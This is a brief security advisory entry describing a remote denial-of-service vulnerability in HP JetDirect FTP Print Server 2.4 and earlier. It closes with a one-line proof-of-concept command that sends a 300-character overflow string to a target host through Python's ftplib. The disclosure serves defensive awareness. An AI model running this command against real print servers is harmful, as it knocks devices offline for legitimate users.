source: http://www.securityfocus.com/bid/23168/info

HP JetDirect FTP Print Server is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue on an affected computer to deny service to legitimate users.

FTP Print Server 2.4 and prior versions are vulnerable.

python /usr/lib/python2.4/ftplib.py -d [vulnerable host] -l -p `python
-c 'print "A"*300'`